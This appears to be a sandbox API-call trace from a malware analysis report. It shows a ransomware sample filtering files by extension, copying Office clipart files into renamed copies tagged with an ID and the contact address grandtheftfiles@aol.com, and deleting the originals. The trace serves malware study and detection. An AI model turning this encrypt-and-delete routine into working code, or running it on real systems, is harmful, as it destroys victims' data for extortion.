	[0083.912] lstrlenW (lpString=".pdf") returned 4
	[0083.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.912] lstrlenW (lpString=".xls") returned 4
	[0083.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.913] lstrlenW (lpString=".xlsx") returned 5
	[0083.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.913] lstrlenW (lpString=".ppt") returned 4
	[0083.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString=".zip") returned 4
	[0083.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.913] lstrlenW (lpString=".rar") returned 4
	[0083.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString=".bz2") returned 4
	[0083.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString=".7z") returned 3
	[0083.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString=".dbf") returned 4
	[0083.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString=".1cd") returned 4
	[0083.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString=".jpg") returned 4
	[0083.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.913] lstrlenW (lpString=".doc") returned 4
	[0083.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString=".docx") returned 5
	[0083.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.913] lstrlenW (lpString=".pdf") returned 4
	[0083.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.913] lstrlenW (lpString=".xls") returned 4
	[0083.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.913] lstrlenW (lpString=".xlsx") returned 5
	[0083.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.913] lstrlenW (lpString=".ppt") returned 4
	[0083.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.914] lstrlenW (lpString=".zip") returned 4
	[0083.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.914] lstrlenW (lpString=".rar") returned 4
	[0083.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.914] lstrlenW (lpString=".bz2") returned 4
	[0083.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.914] lstrlenW (lpString=".7z") returned 3
	[0083.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.914] lstrlenW (lpString=".dbf") returned 4
	[0083.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.914] lstrlenW (lpString=".1cd") returned 4
	[0083.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.914] lstrlenW (lpString=".jpg") returned 4
	[0083.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.914] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.914] lstrlenW (lpString="BS00078_.WMF") returned 12
	[0083.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.917] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1444) returned 1
	[0083.917] CloseHandle (hObject=0x380) returned 1
	[0083.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220
	[0083.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.935] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.935] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.935] GetLastError () returned 0x0
	[0083.936] ReadFile (in: hFile=0x380, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5a4, lpOverlapped=0x0) returned 1
	[0083.957] WriteFile (in: hFile=0x384, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0083.958] ReadFile (in: hFile=0x380, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.958] WriteFile (in: hFile=0x384, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.958] SetEndOfFile (hFile=0x384) returned 1
	[0083.958] CloseHandle (hObject=0x384) returned 1
	[0083.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.959] SetEndOfFile (hFile=0x380) returned 1
	[0083.960] CloseHandle (hObject=0x380) returned 1
	[0083.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1
	[0083.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".doc") returned 4
	[0083.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString=".docx") returned 5
	[0083.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.961] lstrlenW (lpString=".pdf") returned 4
	[0083.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString=".xls") returned 4
	[0083.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.961] lstrlenW (lpString=".xlsx") returned 5
	[0083.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.961] lstrlenW (lpString=".ppt") returned 4
	[0083.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".zip") returned 4
	[0083.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.961] lstrlenW (lpString=".rar") returned 4
	[0083.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString=".bz2") returned 4
	[0083.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString=".7z") returned 3
	[0083.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".dbf") returned 4
	[0083.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".1cd") returned 4
	[0083.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".jpg") returned 4
	[0083.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.961] lstrlenW (lpString=".doc") returned 4
	[0083.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.961] lstrlenW (lpString=".docx") returned 5
	[0083.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.962] lstrlenW (lpString=".pdf") returned 4
	[0083.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString=".xls") returned 4
	[0083.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.962] lstrlenW (lpString=".xlsx") returned 5
	[0083.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.962] lstrlenW (lpString=".ppt") returned 4
	[0083.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.962] lstrlenW (lpString=".zip") returned 4
	[0083.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.962] lstrlenW (lpString=".rar") returned 4
	[0083.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString=".bz2") returned 4
	[0083.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString=".7z") returned 3
	[0083.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.962] lstrlenW (lpString=".dbf") returned 4
	[0083.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.962] lstrlenW (lpString=".1cd") returned 4
	[0083.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0083.962] lstrlenW (lpString=".jpg") returned 4
	[0083.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.962] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.962] lstrlenW (lpString="BS00145_.WMF") returned 12
	[0083.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.963] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1712) returned 1
	[0083.963] CloseHandle (hObject=0x380) returned 1
	[0083.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220
	[0083.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.963] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.963] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.963] GetLastError () returned 0x0
	[0083.963] ReadFile (in: hFile=0x380, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6b0, lpOverlapped=0x0) returned 1
	[0083.980] WriteFile (in: hFile=0x384, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6c0, lpOverlapped=0x0) returned 1
	[0083.981] ReadFile (in: hFile=0x380, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.981] WriteFile (in: hFile=0x384, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.981] SetEndOfFile (hFile=0x384) returned 1
	[0083.981] CloseHandle (hObject=0x384) returned 1
	[0083.982] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.982] SetEndOfFile (hFile=0x380) returned 1
	[0083.983] CloseHandle (hObject=0x380) returned 1
	[0083.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1
	[0084.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.126] lstrlenW (lpString=".doc") returned 4
	[0084.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString=".docx") returned 5
	[0084.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.126] lstrlenW (lpString=".pdf") returned 4
	[0084.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString=".xls") returned 4
	[0084.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.126] lstrlenW (lpString=".xlsx") returned 5
	[0084.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.126] lstrlenW (lpString=".ppt") returned 4
	[0084.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.126] lstrlenW (lpString=".zip") returned 4
	[0084.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.126] lstrlenW (lpString=".rar") returned 4
	[0084.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString=".bz2") returned 4
	[0084.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString=".7z") returned 3
	[0084.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.126] lstrlenW (lpString=".dbf") returned 4
	[0084.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.126] lstrlenW (lpString=".1cd") returned 4
	[0084.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".jpg") returned 4
	[0084.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".doc") returned 4
	[0084.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString=".docx") returned 5
	[0084.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.127] lstrlenW (lpString=".pdf") returned 4
	[0084.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString=".xls") returned 4
	[0084.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.127] lstrlenW (lpString=".xlsx") returned 5
	[0084.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.127] lstrlenW (lpString=".ppt") returned 4
	[0084.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".zip") returned 4
	[0084.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.127] lstrlenW (lpString=".rar") returned 4
	[0084.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString=".bz2") returned 4
	[0084.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString=".7z") returned 3
	[0084.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".dbf") returned 4
	[0084.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".1cd") returned 4
	[0084.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0084.127] lstrlenW (lpString=".jpg") returned 4
	[0084.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.128] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.128] lstrlenW (lpString="BS00186_.WMF") returned 12
	[0084.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.592] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=12788) returned 1
	[0084.593] CloseHandle (hObject=0x31c) returned 1
	[0084.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220
	[0084.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.593] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.593] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.594] GetLastError () returned 0x0
	[0084.594] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x31f4, lpOverlapped=0x0) returned 1
	[0084.598] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3200, lpOverlapped=0x0) returned 1
	[0084.599] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.599] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.599] SetEndOfFile (hFile=0x378) returned 1
	[0084.600] CloseHandle (hObject=0x378) returned 1
	[0084.601] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.601] SetEndOfFile (hFile=0x31c) returned 1
	[0084.602] CloseHandle (hObject=0x31c) returned 1
	[0084.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.602] lstrlenW (lpString=".doc") returned 4
